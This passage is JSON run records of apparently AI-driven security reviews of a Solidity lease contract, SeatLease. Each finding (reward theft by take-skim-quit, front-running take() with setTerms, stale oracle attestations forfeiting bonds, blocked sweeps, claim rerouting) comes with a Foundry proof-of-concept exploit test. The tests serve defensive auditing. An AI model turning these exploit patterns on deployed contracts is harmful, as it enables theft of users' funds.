holder; (b) rewards owed to the holder at an account-keyed distributor, which the README itself says anyone may claim for the holder (Trust model: 'may call permissionless distributors with the holder as the account'). The stranger takes the seat, triggers the claim, calls skim and sweep, then quits. quit returns the bond at once, so the bond is only capital for one transaction (flash-loanable), and the whole sequence is atomic, so the owner cannot skim first. The profit is (10000 - ownerBps)/10000 of everything unbooked at the holder or owed to it at such distributors, for every token, however long the seat sat vacant. The README's promise 'Rewards are protected once they reach the seat's wallet' is false for the owner. The invariant handler's skim action pays the holder and skims in the same call, so arrive-while-vacant, then take, then skim is never exercised. There is a mirror race: while an operator is seated and rewards arrive at the holder, the owner can back-run the arrival with cut() then skim() and book 100% to itself. The operator can only defend by skimming first. Minimal fix that keeps the split model: collect-path bookings (skim, claim) made within a warm-up after take (for example TERMS_DELAY, measured from takenAt) book 100% to the owner. The owner then has the warm-up to skim whatever accrued before the tenure, and a take+skim+quit in one transaction earns nothing. Alternatively, take() could accept or require a list of tokens to collect to the owner before seating. Either choice keeps take(tokenId), Open/Permissioned and the ownerBps split unchanged for credit().","line":722,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev Merkle-style distributor: anyone may submit the claim for any account, and it pays that account.\ncontract AccountClaimDistributor {\n    MockERC20 public immutable token;\n    mapping(address account => uint256 amount) public owed;\n\n    constructor(MockERC20 token_) {\n        token = token_;\n    }\n\n    function setOwed(address account, uint256 amount) external {\n        owed[account] = amount;\n    }\n\n    function claim(address account) external {\n        uint256 amount = owed[account];\n        owed[account] = 0;\n        token.transfer(account, amount);\n    }\n}\n\n/// @dev Booking-time attribution is keyed to when `skim` runs, not to when the reward reached the seat's wallet.\n///      Rewards that accrue to a seat while it is vacant (owed at an account-keyed distributor, or already sitting\n///      in the holder) are split with whoever is seated when they are finally skimmed. A stranger takes a vacant\n///      Open seat, triggers the claim and the skim, sweeps its share and quits with its bond back, all in one go.\n///      Fails on the current code (stranger receives 500e18). Passes once amounts collected by skim/claim are not\n///      split with an operator whose tenure began after they accrued (e.g. collections within a warm-up after\n///      take book 100% to the owner, or take collects pending holder balances to the owner first).\ncontract TakeSkimExtractionProof is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    AccountClaimDistributor distributor;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address stranger = makeAddr(\"stranger\");\n\n    uint256 constant TOKEN_ID = 1;\n    uint256 constant BOND = 100e18;\n    uint256 constant REWARD = 1_000e18;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        distributor = new AccountClaimDistributor(reward);\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(stranger, BOND);\n        reward.mint(address(distributor), 2 * REWARD);\n    }\n\n    function test_takerSplitsRewardsThatAccruedToTheSeatWhileVacant() public {\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n        address holder = lease.holderOf(TOKEN_ID);\n\n        // While the seat is vacant: the network pays 1_000 straight to the seat's wallet, and another 1_000 is\n        // owed to the seat's wallet at an account-keyed distributor. All of it belongs to the owner.\n        vm.prank(address(distributor));\n        reward.transfer(holder, REWARD);\n        distributor.setOwed(holder, REWARD);\n        vm.warp(block.timestamp + 7 days);\n\n        // The stranger, never seated before, does everything in one transaction.\n        vm.startPrank(stranger);\n        bond.approve(address(lease), BOND);\n        lease.take(TOKEN_ID);\n        distributor.claim(holder);\n        lease.skim(TOKEN_ID, address(reward));\n        lease.sweep(TOKEN_ID, address(reward));\n        lease.quit(TOKEN_ID);\n        vm.stopPrank();\n\n        assertEq(bond.balanceOf(stranger), BOND, \"bond returned\");\n        assertEq(reward.balanceOf(stranger), 0, \"taker was paid rewards that accrued to the seat before it took it\");\n        assertEq(reward.balanceOf(owner), 2 * REWARD);\n    }\n}","reproduction":"State: owner deposits seat 1 as Open, ownerBps=5000, bondAmount=100e18, no oracle; the seat is vacant. 1,000e18 reward is transferred straight to holderOf(1), and another 1,000e18 is owed to holderOf(1) at an AccountClaimDistributor whose claim(account) anyone may call. Time passes (7 days). The stranger then, in one sequence: bond.approve(lease, 100e18); lease.take(1); distributor.claim(holder); lease.skim(1, reward); lease.sweep(1, reward); lease.quit(1). Expected: the stranger receives 0 reward, because everything accrued while the seat was vacant, and the owner receives 2,000e18. Actual: the stranger gets its 100e18 bond back plus 1,000e18 reward, and the owner gets 1,000e18. test/scratch/TakeSkimExtraction.t.sol fails with 'taker was paid rewards that accrued to the seat before it took it: 1000000000000000000000 != 0'.","severity":"high","snippet":"        uint256 ownerPart = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"Booking-time split is keyed to when skim runs, not when rewards reached the holder: a newcomer takes a vacant Open seat, skims, and pockets (1 - ownerBps) of rewards that accrued while it was vacant"}],"hash":"73fc7029bd02ab39af3a88679b9e99f8addcef50153f12d0d8d7655f0892e5e2","nodeId":"8910f306-f3ca-47af-bd6d-9eea15906dc3","outcome":"completed","summary":"I ran all four of my earlier proofs against the revised code. The fixes hold for most of what I raised. One fix only covers part of the problem: a new path still gives a newcomer part of the owner's rewards. That is the one finding I'm reporting this round. `.imd-findings.json` holds that finding, its proof, and 23 coverage rows (every listed entry point plus the two invariants). I deleted my scratch test copies, and nothing else in the tree changed.\n\n## Earlier findings\n\n| Finding | Outcome |\n|---|---|\n| **High: owner changes terms just before a pending `take`** | **Fixed.** Changed terms now wait an hour before anyone can take the seat, and withdrawing then redepositing waits the same hour. My proof passes. |\n| **High: newcomer takes the seat and sweeps rewards booked before they arrived** | **Fixed for `credit()`.** Rewards are now split when they're booked, so my proof passes. It still fails through `skim`, see below. |\n| **Medium: owner cuts the operator, then sweeps everything** | **Fixed.** My old proof still fails, but only because it checks the operator's balance right after `sweep`. A cut operator now collects its share with `sweepFor`. I confirmed this with a separate test: the operator receives 500e18 and the booked totals go back to zero. What remains, \"cut first, then claim\", comes from `claim` being owner-only, which the brief requires. It's documented in the README trust model. |\n| **Medium: operator quits just before `cutByOracle` lands and keeps the bond** | **Reproduces, but I'm dropping it.** The brief says `quit` returns the bond. The author disputed the finding and documented it in the README (\"Quit is instant\"). The new check that an attestation must fall within the current operator's tenure stops an escaped attestation being used against the next operator. Changing this needs a scope decision from you, not a code fix. |\n| **Medium: rewards arriving outside `credit`/`claim` could never be booked** | **Fixed.** Each seat now has its own holder wallet, and anyone can call `skim` to book its balance. |\n| **Low: `withdraw` failed for contract owners without a receiver hook** | **Fixed.** The NFT goes back with `transferFrom`. |\n| **Low: one recipient could block the other's sweep** | **Fixed.** A failed payment stays booked and can be collected later with `sweepFor`. |\n| **Info: README and deployment record missing** | **Fixed.** Both are now in the repo. |\n\n## New finding (high, with proof)\n\n**Rewards that reach a vacant seat's wallet are split with whoever holds the seat when `skim` runs** (`src/SeatLease.sol:722`, reached through `skim` and `take`).\n\n- **Cause:** rewards paid to the holder wallet aren't booked when they arrive. They're booked, and split by the operator seated at that moment, only when someone calls `skim` or `claim`.\n- **Attack:** a stranger does the following in one go:\n  1. takes a vacant Open seat;\n  2. claims the holder's rewards at a distributor that lets anyone claim for an account (the README says this is allowed);\n  3. calls `skim`, then `sweep`;\n  4. quits and gets the bond back immediately.\n- **Result:** at 5000 bps, with 2,000e18 accrued while the seat was vacant, the stranger ends with 1,000e18 and the owner with 1,000e18. The owner should have received all 2,000e18. Because it all happens at once, the owner has no chance to skim first.\n- **Proof:** the test fails with `taker was paid rewards that accrued to the seat before it took it: 1000000000000000000000 != 0`. The existing invariant handler never catches this because it always skims in the same call that pays the holder.\n- **Suggested fix:** book 100% to the owner for any `skim` or `claim` in a warm-up window after `take` (for example `TERMS_DELAY`). This keeps the `take(tokenId)` signature and the split model.\n\n## Static-analysis leads\n\nI checked them all and none became a finding:\n- **Reentrancy in `claim`, `sweep` and `_collect`:** every caller has a reentrancy guard, and `setTerms` makes no external calls.\n- **Strict-","treeHash":null,"usage":{"cachedInputTokens":1254335,"inputTokens":32,"model":"claude-fable-5-1","outputTokens":20047,"runtime":"claude","turns":20,"wallClockMs":328139}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"377843575071cdb1","findings":[],"hash":"7472916acbe5fefd1913ae8379ef470492859a00480eb8890af2a6ddf42b70f9","nodeId":"51e40942-2553-4be8-a54b-39ab87199d4e","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. If you’re doing authorized security work that requires more cyber permissive safeguards, apply for Daybreak access via https://platform.openai.com/settings/organization/status-and-access before retrying.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":2,"wallClockMs":204764}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"30a6c1a419ef4f9c","findings":[{"citation":"resolved","description":"Trust gap (access x asymmetry x economics). sweep() splits a seat's whole booked balance by ownerBps between the owner and whoever is operator at the moment of the sweep; it never records which lease a balance was booked under. take() on an Open seat is permissionless and the bond it pulls is returned in full by quit(), so an unprivileged caller can, in one transaction, take the seat, sweep, and quit. Every balance booked while the seat was vacant (credit() by the network or any payer, or claim() by the owner before a separate sweep tx) or under a previous operator is paid (10000-ownerBps)/10000 to the attacker at a cost of gas. With bondAmount=0 no capital is needed at all; with a bond it is only held for the duration of the transaction. The owner cannot defend: credit() is callable by anyone at any time and the attack is atomic. The mirror image is also present and asserted as intended by test_sweep_unsweptBalanceGoesToOwnerAfterCut and test_sweep_usesTermsAtSweepTimeNotAtCreditTime: the owner can call cut() (any time) right before a sweep and take 100% of rewards that were booked while the operator ran the seat. Suggested fix that keeps every ABI: give each lease an epoch (incremented in take()) and store the epoch alongside each booked balance; when a balance is booked in a newer epoch, roll the older amount into an owner-only bucket; sweep() splits only the amount booked in the current lease's epoch and pays owner-only buckets entirely to the owner. If the author also wants to protect the cut operator, record the operator and ownerBps per epoch and pay the epoch's operator on sweep even after cut/quit.","line":441,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev Unprivileged attacker: take a vacant Open seat, sweep the rewards that were booked while the seat was\n///      vacant (or under a previous operator), quit and get the bond back. All in one transaction, cost = gas.\ncontract Grabber {\n    SeatLease immutable lease;\n    MockERC20 immutable bond;\n\n    constructor(SeatLease lease_, MockERC20 bond_) {\n        lease = lease_;\n        bond = bond_;\n    }\n\n    function grab(uint256 tokenId, address token, uint256 bondAmount) external {\n        bond.approve(address(lease), bondAmount);\n        lease.take(tokenId);\n        // A fixed registry may settle the pre-lease balance to the owner inside take(), leaving nothing to sweep;\n        // tolerate that revert so the proof passes once the defect is fixed.\n        try lease.sweep(tokenId, token) {} catch {}\n        lease.quit(tokenId);\n    }\n}\n\ncontract TakeSweepQuitProof is Test {\n    MockSeatNFT nft;\n    MockERC20 bond;\n    MockERC20 reward;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address payer = makeAddr(\"payer\");\n    uint256 constant TOKEN_ID = 7;\n    uint256 constant BOND_AMOUNT = 100e18;\n\n    function setUp() public {\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        reward = new MockERC20(\"Reward\", \"RWD\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        vm.warp(1_800_000_000);\n\n        // Owner lists an Open seat: operator keeps 70% of rewards, must post a 100 BOND bond.\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 3000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, address(0), bytes32(0), \"\");\n        vm.stopPrank();\n\n        // 1000 RWD of rewards are booked to the seat while it is vacant (network / distributor pays the holder).\n        reward.mint(payer, 1000e18);\n        vm.startPrank(payer);\n        reward.approve(address(lease), 1000e18);\n        lease.credit(TOKEN_ID, address(reward), 1000e18);\n        vm.stopPrank();\n    }\n\n    function test_vacantSeatRewardsAreStolenByTakeSweepQuit() public {\n        Grabber attacker = new Grabber(lease, bond);\n        bond.mint(address(attacker), BOND_AMOUNT);\n\n        attacker.grab(TOKEN_ID, address(reward), BOND_AMOUNT);\n\n        // The seat is vacant again and the attacker has the whole bond back.\n        assertEq(lease.seat(TOKEN_ID).operator, address(0), \"seat vacant again\");\n        assertEq(bond.balanceOf(address(attacker)), BOND_AMOUNT, \"bond returned\");\n\n        // Expected: rewards booked while the seat was vacant belong to the owner (sweep of a vacant seat pays\n        // everything to the owner). Actual: the attacker walks away with 700 RWD of them.\n        assertEq(reward.balanceOf(address(attacker)), 0, \"attacker took rewards that accrued before its lease\");\n        assertEq(reward.balanceOf(owner), 1000e18, \"owner lost rewards booked while the seat was vacant\");\n    }\n}","reproduction":"State: owner deposits seat 7 with ownerBps=3000, Mode.Open, bondAmount=100e18. A third party calls credit(7, RWD, 1000e18) while the seat is vacant. Attack (one tx from a contract): bond.approve(lease, 100e18); lease.take(7); lease.sweep(7, RWD); lease.quit(7). Expected: rewards booked while the seat was vacant go to the owner (sweep of a vacant seat pays 100% to owner), attacker gets 0 and keeps only its bond. Actual: attacker receives 700e18 RWD, owner receives 300e18, attacker's 100e18 bond is returned; seat is vacant again. Run: forge test --match-path test/scratch/TakeSweepQuit.t.sol","severity":"high","snippet":"        uint256 ownerAmount = operator == address(0) ? amount : (amount * s.ownerBps) / BPS;","title":"Anyone can take a vacant Open seat, sweep rewards booked before their lease, and quit with the bond back"},{"citation":"resolved","description":"Trust gap (access x asymmetry). setTerms() may change ownerBps, mode, bondAmount, oracleSigner and questionHash at any moment while the seat is vacant, and take(tokenId) binds the caller to whatever the storage says when it executes, not to the terms the caller read. An owner who sees an operator's take() in the mempool (or simply changes terms in the same block) can raise bondAmount up to the operator's allowance, set ownerBps to 10000, and, most damagingly, set oracleSigner to a key it controls. oracleSigner is not bound to the network oracle anywhere in the contract, so the owner can then sign an OracleAttestation itself and call cutByOracle(), which forfeits the entire bond to the owner instead of returning it as cut() would. The operator's only protection, reading seat() before taking, is defeated by the ordering. Slither/aderyn do not flag this. Suggested fix preserving take(uint256): make setTerms() changes effective only after a delay (e.g. a termsChangedAt timestamp/block and take() reverts while block.timestamp < termsChangedAt + COOLDOWN), so a change is visible before anyone can be bound by it; alternatively add an overload take(tokenId, bytes32 termsHash) and have take(tokenId) revert unless terms are older than the cooldown. Document separately that oracleSigner is chosen by the owner and must be verified by the operator against the network's published oracle key.","line":280,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev The operator reads the seat's terms, then sends take(tokenId). take() carries no commitment to the terms\n///      it accepted, so the owner can front-run it with setTerms() and the operator is bound to terms it never saw:\n///      a higher bond, a worse split and an oracleSigner the owner controls (which turns cut-with-refund into\n///      cut-with-forfeit).\ncontract TakeFrontRunProof is Test {\n    bytes32 constant EIP712_DOMAIN_TYPEHASH =\n        keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n    bytes32 constant ORACLE_TYPEHASH = keccak256(\n        \"OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)\"\n    );\n\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address owner;\n    uint256 ownerKey;\n    address operator = makeAddr(\"operator\");\n    address networkOracle = makeAddr(\"network-oracle\");\n    uint256 constant TOKEN_ID = 7;\n    bytes32 constant QUESTION = keccak256(\"did the operator misbehave?\");\n\n    function setUp() public {\n        (owner, ownerKey) = makeAddrAndKey(\"owner\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(operator, 1000e18);\n        vm.warp(1_800_000_000);\n\n        // Listed terms the operator reads and agrees to: 50/50, 10 BOND bond, the network's oracle as signer.\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), 10e18, networkOracle, QUESTION, \"fair seat\");\n        vm.stopPrank();\n    }\n\n    function test_ownerFrontRunsTakeAndForfeitsTheOperatorsBond() public {\n        SeatLease.Seat memory seen = lease.seat(TOKEN_ID);\n        assertEq(seen.bondAmount, 10e18);\n        assertEq(seen.ownerBps, 5000);\n        assertEq(seen.oracleSigner, networkOracle);\n\n        // Operator approves generously (a common wallet default) and broadcasts take().\n        vm.prank(operator);\n        bond.approve(address(lease), type(uint256).max);\n\n        // Owner's setTerms lands first: bond x100, owner keeps 100%, owner is now the \"oracle\".\n        vm.prank(owner);\n        lease.setTerms(TOKEN_ID, 10_000, SeatLease.Mode.Open, address(0), 1000e18, owner, QUESTION, \"fair seat\");\n\n        // A fixed registry may refuse take() right after a terms change (cooldown) or bind it to the terms the\n        // operator read; either way the operator keeps its funds, so a revert here is a pass.\n        vm.prank(operator);\n        try lease.take(TOKEN_ID) {} catch {}\n\n        // Owner signs its own attestation and forfeits the whole bond to itself.\n        SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n            requestId: keccak256(\"req\"),\n            chainId: block.chainid,\n            questionHash: QUESTION,\n            answerType: lease.ANSWER_TYPE_BOOL(),\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: 0,\n            toBlock: uint64(block.number),\n            blockHash: bytes32(0),\n            panelJobId: bytes32(0),\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 hours)\n        });\n        bytes32 domain = keccak256(\n            abi.encode(\n                EIP712_DOMAIN_TYPEHASH, keccak256(\"IdentityMD Oracle\"), keccak256(\"1\"), block.chainid, address(lease)\n            )\n        );\n        bytes32 structHash = keccak256(\n            abi.encode(\n                ORACLE_TYPEHASH,\n                att.requestId,\n                att.chainId,\n                att.questionHash,\n                att.answerType,\n                keccak256(att.answer),\n                att.figure,\n                att.fromBlock,\n                att.toBlock,\n                att.blockHash,\n                att.panelJobId,\n                att.issuedAt,\n                att.expiresAt\n            )\n        );\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerKey, keccak256(abi.encodePacked(\"\\x19\\x01\", domain, structHash)));\n        try lease.cutByOracle(TOKEN_ID, att, abi.encodePacked(r, s, v)) {} catch {}\n\n        // Expected: take() binds the operator only to the terms it read (10 BOND bond, network oracle), so either\n        // take() reverts after the terms changed or at most 10 BOND is at risk under the network oracle's judgement.\n        // Actual: the operator lost 1000 BOND to the owner without any network oracle involvement.\n        assertGe(bond.balanceOf(operator), 1000e18 - 10e18, \"operator bound to a bond it never agreed to\");\n        assertEq(bond.balanceOf(owner), 0, \"owner forfeited the operator's bond to itself\");\n    }\n}","reproduction":"State: owner deposits seat 7 with ownerBps=5000, Mode.Open, bondAmount=10e18, oracleSigner=<network oracle>. Operator reads seat(7), approves the bond token (type(uint256).max, a common wallet default) and broadcasts take(7). Owner's setTerms(7, 10000, Open, 0, 1000e18, <owner EOA>, question, listing) is mined first. take(7) then pulls 1000e18 from the operator. Owner signs an OracleAttestation(answer=true, expiresAt future) with its own key and calls cutByOracle(7, att, sig). Expected: the operator is bound at most to the 10e18 bond and the network oracle's judgement it agreed to (or take() reverts). Actual: operator loses 1000e18 to the owner with no network oracle involved. Run: forge test --match-path test/scratch/TakeFrontRun.t.sol","severity":"medium","snippet":"    function take(uint256 tokenId) external nonReentrant {","title":"take() carries no commitment to the terms the operator accepted; the owner can front-run it with setTerms()"},{"citation":"resolved","description":"Trust gap (access x economics). The validity checks are signer, questionHash, chainId, bool true, expiresAt in the future and unused requestId. Nothing compares issuedAt, fromBlock or toBlock with the moment the current operator took the seat, and the seat does not record that moment. A truthful attestation about operator A's tenure therefore remains a valid weapon against operator B for as long as it is unexpired and unsubmitted. The owner is the beneficiary (the bond is forfeited to the owner) and can manufacture the situation with the real network oracle: operate its own Open seat, deliberately satisfy the seat's question (e.g. go offline), obtain the attestation, withhold it, quit, wait for a victim to take the seat and post a bond, then submit. Suggested fix: store takenAt (block.timestamp and/or block.number) in Seat on take() and revert in cutByOracle() unless attestation.issuedAt >= takenAt (and/or attestation.fromBlock >= takenAtBlock); this adds a check, it does not remove any the task requires.","line":338,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// @dev An attestation issued while operator A ran the seat is accepted against operator B, who took the seat\n///      afterwards, as long as it has not expired and its requestId is unused. cutByOracle never compares the\n///      attestation's issuedAt / toBlock with the moment the current operator took the seat.\ncontract StaleAttestationProof is Test {\n    bytes32 constant EIP712_DOMAIN_TYPEHASH =\n        keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\");\n    bytes32 constant ORACLE_TYPEHASH = keccak256(\n        \"OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)\"\n    );\n\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n\n    address owner = makeAddr(\"owner\");\n    address operatorA = makeAddr(\"operatorA\");\n    address operatorB = makeAddr(\"operatorB\");\n    address oracle;\n    uint256 oracleKey;\n    uint256 constant TOKEN_ID = 7;\n    uint256 constant BOND_AMOUNT = 100e18;\n    bytes32 constant QUESTION = keccak256(\"did the operator of seat 7 go offline?\");\n\n    function setUp() public {\n        (oracle, oracleKey) = makeAddrAndKey(\"oracle\");\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, TOKEN_ID);\n        bond.mint(operatorA, BOND_AMOUNT);\n        bond.mint(operatorB, BOND_AMOUNT);\n        vm.warp(1_800_000_000);\n        vm.roll(1000);\n\n        vm.startPrank(owner);\n        nft.approve(address(lease), TOKEN_ID);\n        lease.deposit(TOKEN_ID, 5000, SeatLease.Mode.Open, address(0), BOND_AMOUNT, oracle, QUESTION, \"\");\n        vm.stopPrank();\n    }\n\n    function _take(address who) internal {\n        vm.startPrank(who);\n        bond.approve(address(lease), BOND_AMOUNT);\n        lease.take(TOKEN_ID);\n        vm.stopPrank();\n    }\n\n    function _signed(SeatLease.OracleAttestation memory att) internal view returns (bytes memory) {\n        bytes32 domain = keccak256(\n            abi.encode(\n                EIP712_DOMAIN_TYPEHASH, keccak256(\"IdentityMD Oracle\"), keccak256(\"1\"), block.chainid, address(lease)\n            )\n        );\n        bytes32 structHash = keccak256(\n            abi.encode(\n                ORACLE_TYPEHASH,\n                att.requestId,\n                att.chainId,\n                att.questionHash,\n                att.answerType,\n                keccak256(att.answer),\n                att.figure,\n                att.fromBlock,\n                att.toBlock,\n                att.blockHash,\n                att.panelJobId,\n                att.issuedAt,\n                att.expiresAt\n            )\n        );\n        (uint8 v, bytes32 r, bytes32 s) =\n            vm.sign(oracleKey, keccak256(abi.encodePacked(\"\\x19\\x01\", domain, structHash)));\n        return abi.encodePacked(r, s, v);\n    }\n\n    function test_attestationAboutPreviousOperatorForfeitsTheNextOperatorsBond() public {\n        // Operator A runs the seat; the oracle attests (truthfully) that A's tenure answered the question with true.\n        _take(operatorA);\n        SeatLease.OracleAttestation memory att = SeatLease.OracleAttestation({\n            requestId: keccak256(\"req-about-A\"),\n            chainId: block.chainid,\n            questionHash: QUESTION,\n            answerType: lease.ANSWER_TYPE_BOOL(),\n            answer: abi.encode(true),\n            figure: 0,\n            fromBlock: uint64(block.number - 10),\n            toBlock: uint64(block.number),\n            blockHash: blockhash(block.number - 1),\n            panelJobId: keccak256(\"panel\"),\n            issuedAt: uint64(block.timestamp),\n            expiresAt: uint64(block.timestamp + 1 days)\n        });\n        bytes memory sig = _signed(att);\n\n        // A quits before anyone submits it; B takes the seat later and posts a fresh bond.\n        vm.prank(operatorA);\n        lease.quit(TOKEN_ID);\n        vm.warp(block.timestamp + 1 hours);\n        vm.roll(block.number + 300);\n        _take(operatorB);\n        uint256 bTakenAt = block.timestamp;\n        assertLt(att.issuedAt, bTakenAt, \"attestation predates B's lease\");\n        assertLt(att.toBlock, block.number, \"attested window ended before B's lease\");\n\n        // Expected: an attestation issued before B took the seat cannot be evidence about B; the call reverts.\n        // Actual: B is cut and B's 100 BOND bond is forfeited to the owner.\n        vm.expectRevert();\n        lease.cutByOracle(TOKEN_ID, att, sig);\n        assertEq(lease.seat(TOKEN_ID).operator, operatorB, \"B still operates the seat\");\n        assertEq(bond.balanceOf(owner), 0, \"owner did not receive B's bond\");\n    }\n}","reproduction":"State: owner deposits seat 7 (Open, bondAmount=100e18, oracleSigner=oracle). Operator A takes. Oracle signs OracleAttestation{requestId=R, questionHash=seat question, answerType=1, answer=abi.encode(true), issuedAt=T, toBlock=N, expiresAt=T+1 day}. A quits. At T+1h, block N+300, operator B takes and posts 100e18. Anyone calls cutByOracle(7, att, sig). Expected: revert, the attestation predates B's lease. Actual: B is cleared and B's 100e18 bond is transferred to the owner. Run: forge test --match-path test/scratch/StaleAttestation.t.sol","severity":"medium","snippet":"        if (attestation.expiresAt <= block.timestamp) revert OracleAttestationExpired(attestation.expiresAt);","title":"cutByOracle() accepts an attestation issued before the current operator took the seat"},{"citation":"resolved","description":"Asymmetry: _payBond() escrows a failed bond transfer (bondOwed/redeemBond) so the seat is never stuck, but _pay() used by sweep() reverts when the owner or operator rejects ETH or is blocklisted by the reward token. The whole sweep of that token reverts, so the other party's share is locked too. If the operator rejects, the owner can cut() and sweep 100% (test_sweep_revertsWhenOperatorRejectsEth shows this). If the owner rejects, the operator's share is locked for as long as the owner chooses; an owner contract can reject while the operator is active, cut(), then accept and sweep 100%. Suggested fix: on a failed push, escrow the recipient's amount in a per-token owed mapping with a pull function, as _payBond already does for bonds.","line":677,"path":"src/SeatLease.sol","reproduction":"State: seat 7 deposited by an owner contract whose receive() reverts, ownerBps=5000, operator active. credit{value: 1 ether}(7, address(0), 1 ether). sweep(7, address(0)) reverts with EthTransferFailed(owner, 0.5 ether). Expected: the operator's 0.5 ether is payable regardless of the owner's receiver. Actual: the operator's 0.5 ether is unreachable until the owner changes its receiver; if the owner cuts first and then accepts ETH, sweep pays the owner 1 ether.","severity":"low","snippet":"            (bool ok,) = to.call{value: amount}(\"\");\n            if (!ok) revert EthTransferFailed(to, amount);","title":"sweep() pushes ETH and ERC-20 with revert-on-failure, so either party can block the other's share; owner can convert a block into 100% via cut()"},{"citation":"resolved","description":"Trust assumption, access x economics. claim() makes the registry (the reward recipient the network knows) call target with owner-chosen calldata. The guards only protect balances the registry already holds and the NFT. If a distributor exposes any recipient-parameterised entry point (claimTo(address), claim(address to, uint256), setRecipient, delegate), the owner calls it with itself as recipient: the rewards never enter the registry, nothing is booked and the operator's ownerBps share is zero. The MockDistributor only pays msg.sender, so the test suite cannot see this. Combined with the owner's option to never call claim() at all, the operator's income is entirely at the owner's discretion for anything not yet booked. This is not fixable by the contract without a per-seat allowlist of (target, selector); at minimum the README must state that operators are only protected for rewards that reach the registry, and that owners may divert rewards at recipient-parameterised distributors.","line":411,"path":"src/SeatLease.sol","reproduction":"State: seat 7 deposited with ownerBps=0 (operator earns 100%), operator active; a distributor D with claimTo(address to) owes the registry 1000e18 RWD. Owner calls claim(7, D, abi.encodeCall(D.claimTo, (owner)), [RWD]). Expected: 1000e18 booked to seat 7 and sweepable 100% to the operator. Actual: owner's balance increases by 1000e18, credited(7, RWD) stays 0, the call succeeds. Verified with a scratch test (test/scratch/ClaimRecipient.t.sol, passes on current code, i.e. the bypass works).","severity":"low","snippet":"        (bool ok, bytes memory reason) = target.call(data);","title":"claim() lets the owner route seat rewards to any recipient a distributor accepts, bypassing the operator's split"},{"citation":"resolved","description":"Outside the assigned area, noted for the judge. The task lists a README covering every function, event and error, the exact isValidSignature encoding with a worked example, the operator pairing flow, the oracle cut model and mainnet deployment steps. The tree contains REVIEW.md and launch.json notes only. The trust assumptions surfaced above (owner-chosen oracleSigner, rewards only protected once booked, push-payment receivers) have nowhere to be documented for operators.","line":1,"path":"REVIEW.md","reproduction":"ls README* in the repository root returns nothing; the only Markdown file is REVIEW.md.","severity":"info","snippet":"# SeatLease v1: revision review","title":"README deliverable (function/event/error reference, isValidSignature 